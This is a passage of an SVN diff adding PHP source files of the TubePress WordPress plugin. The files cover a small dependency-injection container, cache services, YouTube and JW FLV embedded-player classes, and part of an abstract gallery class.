+    if (!is_array($constructorArgs))
+    {
+      $injectedArgs = $this->_resolveDependencies(
+        $spec->getConstructorArgs());
+    }
+    else
+    {
+      $injectedArgs = $this->_resolveDependencies($constructorArgs);
+    }
+     
+    $o = $class->newInstanceArgs($injectedArgs);
+
+    if ($o instanceof org_tubepress_ioc_ContainerAware) {
+        $o->setContainer($this);
+    }
+
+    return $o;
+  }
+  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactoryException.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactoryException.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactoryException.class.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+
+/**
+ * An exception thrown when an error occurs in the ComponentFactory/DI container.
+ * @author Chris Corbyn
+ * @package Crafty
+ */
+class net_sourceforge_phpcrafty_ComponentFactoryException extends Exception
+{
+  
+  /**
+   * Create a new ComponentFactoryException with $message.
+   * @param string $message
+   */
+  public function __construct($message)
+  {
+    parent::__construct($message);
+  }
+  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReference.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReference.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReference.class.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+
+/**
+ * Provides information about a component referenced within the DI container.
+ * @author Chris Corbyn
+ * @package Crafty
+ */
+class net_sourceforge_phpcrafty_ComponentReference
+{
+  
+  /**
+   * The name of the component being referenced.
+   * @var string
+   */
+  private $_componentName;
+  
+  /**
+   * Create a new ComponentReference for $componentName.
+   * @param string $componentName
+   */
+  public function __construct($componentName)
+  {
+    $this->_componentName = $componentName;
+  }
+  
+  /**
+   * Get the name of the component referenced.
+   * @return string
+   */
+  public function getComponentName()
+  {
+    return $this->_componentName;
+  }
+  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReflector.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReflector.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentReflector.class.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php
+
+/**
+ * Reflection class which knows about setter based injection depedencies.
+ * @package Crafty
+ * @author Chris Corbyn
+ */
+class net_sourceforge_phpcrafty_ComponentReflector extends ReflectionClass
+{
+  
+  /**
+   * Properties to be injected when instantiated.
+   * @var mixed[]
+   */
+  private $_properties = array();
+  
+  /**
+   * Create a new ComponentReflector for the given $className with the given
+   * $properties.
+   * @param string $className
+   * @param mixed[] $properties
+   */
+  public function __construct($className, $properties = array())
+  {
+    parent::__construct($className);
+    $this->_properties = $properties;
+  }
+  
+  /**
+   * Create an instance with a list of arguments passed to the constructor.
+   * @param mixed $param1
+   * @param mixed $param2...
+   * @return object
+   */
+  public function newInstance()
+  {
+    return $this->newInstanceArgs(func_get_args());
+  }
+  
+  /**
+   * Create an instance with the given array of arguments in the constructor.
+   * @param mixed[] $args
+   * @return object
+   */
+  public function newInstanceArgs($args)
+  {
+    if ($this->getConstructor())
+    {
+      $o = parent::newInstanceArgs($args);
+    }
+    else
+    {
+      $o = parent::newInstance();
+    }
+    
+    foreach ($this->_properties as $k => $v)
+    {
+      $setter = 'set' . ucfirst($k);
+      $this->getMethod($setter)->invoke($o, $v);
+    }
+    
+    return $o;
+  }
+  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentSpec.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentSpec.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentSpec.class.php	(revision 44)
@@ -0,0 +1,135 @@
+<?php
+
+/**
+ * Spefication container for the Dependency Injection factory to operate.
+ * @author Chris Corbyn
+ * @package Crafty
+ */
+class net_sourceforge_phpcrafty_ComponentSpec
+{
+  
+  /**
+   * The class name.
+   * @var string
+   */
+  private $_className;
+  
+  /**
+   * Arguments to be passed to the constructor.
+   * @var mixed[]
+   */
+  private $_constructorArgs = array();
+  
+  /**
+   * Properties of the object.
+   * @var mixed[]
+   */
+  private $_properties = array();
+  
+  /**
+   * True if the object should only be created once.
+   * @var boolean
+   */
+  private $_shared = false;
+  
+  /**
+   * Creates a new ComponentSpec.
+   * @param string $className
+   * @param mixed[] $constructorArgs
+   * @param mixed[] $properties
+   * @param boolean $shared
+   */
+  public function __construct($className = null, $constructorArgs = array(),
+    $properties = array(), $shared = false)
+  {
+    $this->_className = $className;
+    $this->_constructorArgs = $constructorArgs;
+    $this->_properties = $properties;
+    $this->_shared = $shared;
+  }
+  
+  /**
+   * Set the class name to $className.
+   * @param string $className
+   */
+  public function setClassName($className)
+  {
+    $this->_className = $className;
+  }
+  
+  /**
+   * Get the class name.
+   * @return string
+   */
+  public function getClassName()
+  {
+    return $this->_className;
+  }
+  
+  /**
+   * Set the arguments to be passed into the constructor.
+   * @param mixed[] Constructor arguments
+   */
+  public function setConstructorArgs($constructorArgs)
+  {
+    $this->_constructorArgs = $constructorArgs;
+  }
+  
+  /**
+   * Get arguments to be passed to the constructor.
+   * @return mixed[]
+   */
+  public function getConstructorArgs()
+  {
+    return $this->_constructorArgs;
+  }
+  
+  /**
+   * Set the property with name $key to value $value.
+   * A public setter named setPropName() is expected where $key is propName.
+   * @param string $key
+   * @param mixed $value
+   */
+  public function setProperty($key, $value)
+  {
+    $this->_properties[$key] = $value;
+  }
+  
+  /**
+   * Get the value of the property named $key.
+   * @param string $key
+   * @return mixed
+   */
+  public function getProperty($key)
+  {
+    return $this->_properties[$key];
+  }
+  
+  /**
+   * Get all properties as an associative array.
+   * @return mixed[]
+   */
+  public function getProperties()
+  {
+    return $this->_properties;
+  }
+  
+  /**
+   * Make this component a shared instance, or turn sharing off.
+   * @param boolean $shared
+   */
+  public function setShared($shared)
+  {
+    $this->_shared = $shared;
+  }
+  
+  /**
+   * Returns true if this component is a shared instance.
+   * @return boolean
+   */
+  public function isShared()
+  {
+    return $this->_shared;
+  }
+  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/CacheService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/CacheService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/CacheService.class.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * String cache for TubePress
+ */
+interface org_tubepress_cache_CacheService
+{
+    /**
+     * Get a value from the cache
+     *
+     * @param string $key The key of the data to retrieve
+     * 
+     * @return string The data at the given key, or null if not there
+     */
+    public function get($key);
+    
+    /**
+     * Determine if the cache has data for a certain key
+     *
+     * @param string $key The key for which to look
+     * 
+     * @return boolean True if the cache has the data, false otherwise
+     */
+    public function has($key);
+    
+    /**
+     * Save the given data with the given key
+     *
+     * @param string $key  The key at which to save the data
+     * @param string $data The data to save at the key
+     * 
+     * @return void
+     */
+    public function save($key, $data);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/SimpleCacheService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/SimpleCacheService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/cache/SimpleCacheService.class.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_cache_CacheService',
+    'net_php_pear_Cache_Lite'));
+
+/**
+ * General purpose cache for TubePress
+ */
+class org_tubepress_cache_SimpleCacheService implements org_tubepress_cache_CacheService
+{
+    private $_cache;
+    
+    /**
+     * Simple constructor
+     *
+     */
+    public function __construct()
+    {
+        /* 
+         * thanks to shickm for this...
+         * http://code.google.com/p/tubepress/issues/detail?id=27
+        */
+        if (!function_exists("sys_get_temp_dir")) {
+            
+            // Based on http://www.phpit.net/
+            // article/creating-zip-tar-archives-dynamically-php/2/
+            function sys_get_temp_dir()
+            {
+                // Try to get from environment variable
+                if ( !empty($_ENV['TMP']) )
+                {
+                    return realpath( $_ENV['TMP'] );
+                }
+                else if ( !empty($_ENV['TMPDIR']) )
+                {
+                    return realpath( $_ENV['TMPDIR'] );
+                }
+                else if ( !empty($_ENV['TEMP']) )
+                {
+                    return realpath( $_ENV['TEMP'] );
+                }
+            
+                // Detect by creating a temporary file
+                else
+                {
+                    // Try to use system's temporary directory
+                    // as random name shouldn't exist
+                    $temp_file = tempnam( md5(uniqid(rand(), TRUE)), '' );
+                    if ( $temp_file )
+                    {
+                        $temp_dir = realpath( dirname($temp_file) );
+                        unlink( $temp_file );
+                        return $temp_dir;
+                    }
+                    else
+                    {
+                        return FALSE;
+                    }
+                }
+            }
+        }
+        
+        $this->_cache = new net_php_pear_Cache_Lite(array("cacheDir" => sys_get_temp_dir()));
+    }
+    
+    /**
+     * @see org_tubepress_cache_CacheService::get($key)
+     */
+    public function get($key)
+    {
+        return $this->_cache->get($key);
+    }
+    
+    /**
+     * @see org_tubepress_cache_CacheService::has($key)
+     */
+    public function has($key)
+    {
+        return $this->_cache->get($key) !== false;
+    }
+    
+    /**
+     * @see org_tubepress_cache_CacheService::save($key, $data)
+     */
+    public function save($key, $data)
+    {
+        if (!is_string($data)) {
+            throw new Exception("Cache can only save string data");
+        }
+        $this->_cache->save($data, $key);
+    }
+    
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/EmbeddedPlayerService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/EmbeddedPlayerService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/EmbeddedPlayerService.class.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Represents an HTML-embeddable YouTube player
+ *
+ */
+interface org_tubepress_embedded_EmbeddedPlayerService
+{
+    const YOUTUBE = "youtube";
+    const LONGTAIL = "longtail";
+    
+    /**
+     * Spits back the text for this embedded player
+     *
+     * @return string The text for this embedded player
+     */
+    public function toString($videoId);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/AbstractEmbeddedPlayerService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/AbstractEmbeddedPlayerService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/AbstractEmbeddedPlayerService.class.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_embedded_EmbeddedPlayerService',
+    'org_tubepress_options_manager_OptionsManager'));
+
+/**
+ * Represents an HTML-embeddable YouTube player
+ *
+ */
+abstract class org_tubepress_embedded_impl_AbstractEmbeddedPlayerService implements org_tubepress_embedded_EmbeddedPlayerService
+{   
+    private $_optionsManager;
+    
+    protected function _safeColorValue($candidate, $default)
+    {
+        $pattern = '/^[0-9a-fA-F]{6}$/';
+        if (preg_match($pattern, $candidate) === 1) {
+            return $candidate;
+        }
+        return $default;
+    }
+    
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $optionsManager)
+    {
+        $this->_optionsManager = $optionsManager;
+    }
+    
+    protected function getOptionsManager()
+    {
+        return $this->_optionsManager;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/JwFlvEmbeddedPlayerService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/JwFlvEmbeddedPlayerService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/JwFlvEmbeddedPlayerService.class.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_HTML_Template_IT',
+    'org_tubepress_embedded_impl_AbstractEmbeddedPlayerService',
+    'net_php_pear_Net_URL2'));
+
+/**
+ * Represents an HTML-embeddable JW FLV Player
+ *
+ */
+class org_tubepress_embedded_impl_JwFlvEmbeddedPlayerService extends org_tubepress_embedded_impl_AbstractEmbeddedPlayerService
+{
+    /**
+     * Spits back the text for this embedded player
+     *
+     * @return string The text for this embedded player
+     */
+    public function toString($videoId)
+    {
+        global $tubepress_base_url;
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/embedded/longtail/html_templates");
+        if (!$tpl->loadTemplatefile("object.tpl.html", true, true)) {
+            throw new Exception("Couldn't load embedded template");
+        }    
+        $tpom = $this->getOptionsManager();
+        
+        $link = new net_php_pear_Net_URL2(sprintf("http://www.youtube.com/watch?v=%s", $videoId));
+        
+        $link = $link->getURL(true);
+        
+        $tpl->setVariable("TUBEPRESS_BASE", $tubepress_base_url);
+        $tpl->setVariable("YOUTUBE_LINK", $link);
+        $tpl->setVariable('AUTOSTART', $tpom->get(org_tubepress_options_category_Embedded::AUTOPLAY) ? 'true' : 'false');
+        $tpl->setVariable('WIDTH', $tpom->get(org_tubepress_options_category_Embedded::EMBEDDED_WIDTH));
+        $tpl->setVariable('HEIGHT', $tpom->get(org_tubepress_options_category_Embedded::EMBEDDED_HEIGHT));
+        
+        return $tpl->get();
+    }  
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/YouTubeEmbeddedPlayerService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/YouTubeEmbeddedPlayerService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/embedded/impl/YouTubeEmbeddedPlayerService.class.php	(revision 44)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_HTML_Template_IT',
+    'org_tubepress_embedded_impl_AbstractEmbeddedPlayerService',
+    'net_php_pear_Net_URL2',
+    'org_tubepress_options_category_Embedded'));
+
+/**
+ * Represents an HTML-embeddable YouTube player
+ *
+ */
+class org_tubepress_embedded_impl_YouTubeEmbeddedPlayerService extends org_tubepress_embedded_impl_AbstractEmbeddedPlayerService
+{
+    /**
+     * Spits back the text for this embedded player
+     *
+     * @return string The text for this embedded player
+     */
+    public function toString($videoId)
+    {
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/embedded/youtube/html_templates");
+        if (!$tpl->loadTemplatefile("object.tpl.html", true, true)) {
+            throw new Exception("Couldn't load embedded template");
+        }    
+        
+        $link = new net_php_pear_Net_URL2(sprintf("http://www.youtube.com/v/%s", $videoId));
+        
+        $tpom = $this->getOptionsManager();
+        
+        $color1      = $this->_safeColorValue($tpom->get(org_tubepress_options_category_Embedded::PLAYER_COLOR), "999999");
+        $color2      = $this->_safeColorValue($tpom->get(org_tubepress_options_category_Embedded::PLAYER_HIGHLIGHT), "FFFFFF");
+        $showRelated = $tpom->get(org_tubepress_options_category_Embedded::SHOW_RELATED);
+        $autoPlay    = $tpom->get(org_tubepress_options_category_Embedded::AUTOPLAY);
+        $loop        = $tpom->get(org_tubepress_options_category_Embedded::LOOP);
+        $genie       = $tpom->get(org_tubepress_options_category_Embedded::GENIE);
+        $border      = $tpom->get(org_tubepress_options_category_Embedded::BORDER);
+        $width       = $tpom->get(org_tubepress_options_category_Embedded::EMBEDDED_WIDTH);
+        $height      = $tpom->get(org_tubepress_options_category_Embedded::EMBEDDED_HEIGHT);
+        $quality     = $tpom->get(org_tubepress_options_category_Embedded::QUALITY);
+        $fullscreen  = $tpom->get(org_tubepress_options_category_Embedded::FULLSCREEN);
+        $showInfo    = $tpom->get(org_tubepress_options_category_Embedded::SHOW_INFO);
+   
+        if (!($color1 == "999999" && $color2 == "FFFFFF")) {
+            $link->setQueryVariable("color2", "0x" . $color1);
+            $link->setQueryVariable("color1", "0x" . $color2);
+        }
+        $link->setQueryVariable("rel", $showRelated   ? "1" : "0");
+        $link->setQueryVariable("autoplay", $autoPlay ? "1" : "0");
+        $link->setQueryVariable("loop", $loop         ? "1" : "0");
+        $link->setQueryVariable("egm", $genie         ? "1" : "0");
+        $link->setQueryVariable("border", $border     ? "1" : "0");
+        $link->setQueryVariable("fs", $fullscreen     ? "1" : "0");
+        
+        $link->setQueryVariable("showinfo", $showInfo ? "1" : "0");
+        
+        switch ($quality) {
+        case "high":
+            $link->setQueryVariable("ap", "%26");
+            $link->setQueryVariable("fmt", "6");
+            break;
+        case "higher":
+            $link->setQueryVariable("ap", "%26");
+            $link->setQueryVariable("fmt", "18");
+            break;
+        case "highest":
+            $link->setQueryVariable("ap", "%26");
+            $link->setQueryVariable("fmt", "22");
+            break;      
+        }
+        
+        $link = $link->getURL(true);
+
+        $tpl->setVariable('URL', $link);
+        $tpl->setVariable('WIDTH', $width);
+        $tpl->setVariable('HEIGHT', $height);
+        $tpl->setVariable('FULLSCREEN', $fullscreen ? "true" : "false");
+        
+        $embedSrc = $tpl->get();
+     
+        return str_replace("?", "&amp;", $embedSrc);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/AbstractGallery.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/AbstractGallery.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/AbstractGallery.class.php	(revision 44)
@@ -0,0 +1,233 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_ioc_ContainerAware',
+    'net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_category_Feed',
+    'org_tubepress_options_category_Display',
+    'org_tubepress_player_Player',
+    'org_tubepress_util_StringUtils',
+    'org_tubepress_gdata_inspection_FeedInspectionService',
+    'org_tubepress_gdata_retrieval_FeedRetrievalService',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_options_manager_OptionsManager',
+    'org_tubepress_pagination_PaginationService',
+    'org_tubepress_querystring_QueryStringService',
+    'org_tubepress_thumbnail_ThumbnailService',
+    'org_tubepress_url_UrlBuilder',
+    'org_tubepress_video_factory_VideoFactory'));
+
+/**
+ * Parent class of all TubePress galleries
+ */
+abstract class org_tubepress_gallery_AbstractGallery implements org_tubepress_ioc_ContainerAware
+{
+    private $_feedInspectionService;
+    private $_feedRetrievalService;
+    private $_iocContainer;
+    private $_templateDirectory;
+    private $_messageService;
+    private $_optionsManager;
+    private $_paginationService;
+    private $_queryStringService;
+    private $_thumbnailService;
+    private $_thumbnailTemplate;    
+    private $_urlBuilder;
+    private $_videoFactory;
+    
+    /**
+     * Generates the content of this gallery
+     * 
+     * @return The HTML content for this gallery
+     */
+    public final function generateThumbs($galleryId = 1)
+    {
+        /* load up the gallery template */
+        $tpl = new net_php_pear_HTML_Template_IT($this->_templateDirectory);
+        if (!$tpl->loadTemplatefile("gallery.tpl.html", true, true)) {
+            throw new Exception("Couldn't load gallery template");
+        }
+
+        $currentPage  = $this->_queryStringService->getPageNum($_GET);
+        $url          = $this->_urlBuilder->buildGalleryUrl($currentPage);
+        $useCache     = $this->_optionsManager->get(
+            org_tubepress_options_category_Feed::CACHE_ENABLED);
+        $xml          = $this->_feedRetrievalService->fetch($url, $useCache);
+        $totalResults = $this->_feedInspectionService->getTotalResultCount($xml);
+        $queryResult  = $this->_feedInspectionService->getQueryResultCount($xml);
+
+        /* see if we got any */
+        if ($totalResults == 0) {
+            throw new Exception("YouTube returned no videos for your query!");
+        }
+        
+        /* Figure out how many videos we're going to show */
+        $vidLimit =
+            $this->_optionsManager->get(org_tubepress_options_category_Display::RESULTS_PER_PAGE);
+        if ($queryResult < $vidLimit) {
+            $vidLimit = $queryResult;
+        }   
+        
+        $videos = $this->_videoFactory->dom2TubePressVideoArray($xml, $vidLimit);
+        
+        if ($this->_optionsManager->get(org_tubepress_options_category_Display::ORDER_BY) == "random") {
+            shuffle($videos);
+        }
+        
+        $thumbsHtml = "";
+        $playerName =
+            $this->_optionsManager->
+                get(org_tubepress_options_category_Display::CURRENT_PLAYER_NAME);
+        $player     = $this->_iocContainer->safeGet($playerName . "-player", org_tubepress_player_Player::NORMAL . "-player");
+        
+        $tpl->setVariable('GALLERYID', $galleryId);
+        
+        for ($x = 0; $x < sizeof($videos); $x++) {
+            
+            /* ignore videos we can't display */
+            if (!$videos[$x]->isDisplayable()) {
+                continue;
+            }
+            
+            /* Top of the gallery is special */
+            if ($x == 0) {
+                $tpl->setVariable("PRE_GALLERY_PLAYER_HTML", 
+                    $player->getPreGalleryHtml($this->_getPreGalleryVideo($videos), $galleryId));
+            }
+                
+            /* Here's where each thumbnail gets printed */
+            $thumbsHtml .= $this->_thumbnailService->getHtml(
+                $this->_templateDirectory, $videos[$x], $galleryId);     
+        }
+        
+        $tpl->setVariable("THUMBS", $thumbsHtml);
+            
+        /* Spit out the top/bottom pagination if we have any videos */
+        if ($vidLimit > 0) {
+               $this->_parsePaginationHTML($totalResults, $tpl);
+        }
+        
+        return org_tubepress_util_StringUtils::removeEmptyLines($tpl->get());
+    }
+    
+    private function _countUnavailableVideos($videos)
+    {
+        $result = 0;
+        foreach ($videos as $video) {
+            if (!$video->isDisplayable()) {
+                $result++;
+            }
+        }
+        return $result;
+    }
+    
+    private function _getPreGalleryVideo($videos)
+    {
+        $customVideoId = $this->_queryStringService->getCustomVideo($_GET);
+        if ($customVideoId != "") {
+            $videoUrl = $this->_urlBuilder->buildSingleVideoUrl($customVideoId);
+            $results = $this->_feedRetrievalService->fetch($videoUrl,
+                $this->_optionsManager->get(org_tubepress_options_category_Feed::CACHE_ENABLED));
+            $videoArray = $this->_videoFactory->dom2TubePressVideoArray($results, 1);
+            return $videoArray[0];
+        }
+        return $videos[0];
+    }
+    
+    /**
+     * Handles the parsing of pagination links ("next" and "prev")
+     * 
+     * @param int                     $vidCount The grand total video count
+     * @param net_php_pear_HTML_Template_IT        $tpl      The HTML template to write to
+     * 
+     * @return void
+     */
+    private function _parsePaginationHTML($vidCount, 
+        net_php_pear_HTML_Template_IT $tpl)
+    {
+        $pagination = $this->_paginationService->getHtml($vidCount);
+        
+        if ($this->_optionsManager->get(org_tubepress_options_category_Display::PAGINATE_ABOVE)) {
+            $tpl->setVariable('TOPPAGINATION', $pagination);
+        }
+        if ($this->_optionsManager->get(org_tubepress_options_category_Display::PAGINATE_BELOW)) {
+            $tpl->setVariable('BOTPAGINATION', $pagination);
+        }
+    }
+    
+    public function setContainer(org_tubepress_ioc_IocService $container)
+    {
+        $this->_iocContainer = $container;
+    }
+
+    public function setTemplateDirectory($directory) 
+    {                                          
+        $this->_templateDirectory = $directory; 
+    }
+    
+    public function setFeedInspectionService(org_tubepress_gdata_inspection_FeedInspectionService $feedInspector) 
+    { 
+        $this->_feedInspectionService = $feedInspector; 
+    }
+    
+    public function setFeedRetrievalService(org_tubepress_gdata_retrieval_FeedRetrievalService $feedRetriever) 
+    {   
+        $this->_feedRetrievalService = $feedRetriever; 
+    }
+
+    public function setMessageService(org_tubepress_message_MessageService $messageService) 
+    {              
+        $this->_messageService = $messageService; 
+    }
+    
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $tpom) 
+    {                        
+        $this->_optionsManager = $tpom; 
+    }
+    
+    public function setPaginationService(org_tubepress_pagination_PaginationService $paginator) 
+    {             
+        $this->_paginationService = $paginator; 
+    }
+
+    public function setQueryStringService(org_tubepress_querystring_QueryStringService $qss) 
+    {             
+        $this->_queryStringService = $qss; 
+    }
+    
+    public function setThumbnailService(org_tubepress_thumbnail_ThumbnailService $thumbService) 
+    {            
+        $this->_thumbnailService = $thumbService; 
+    }
+    
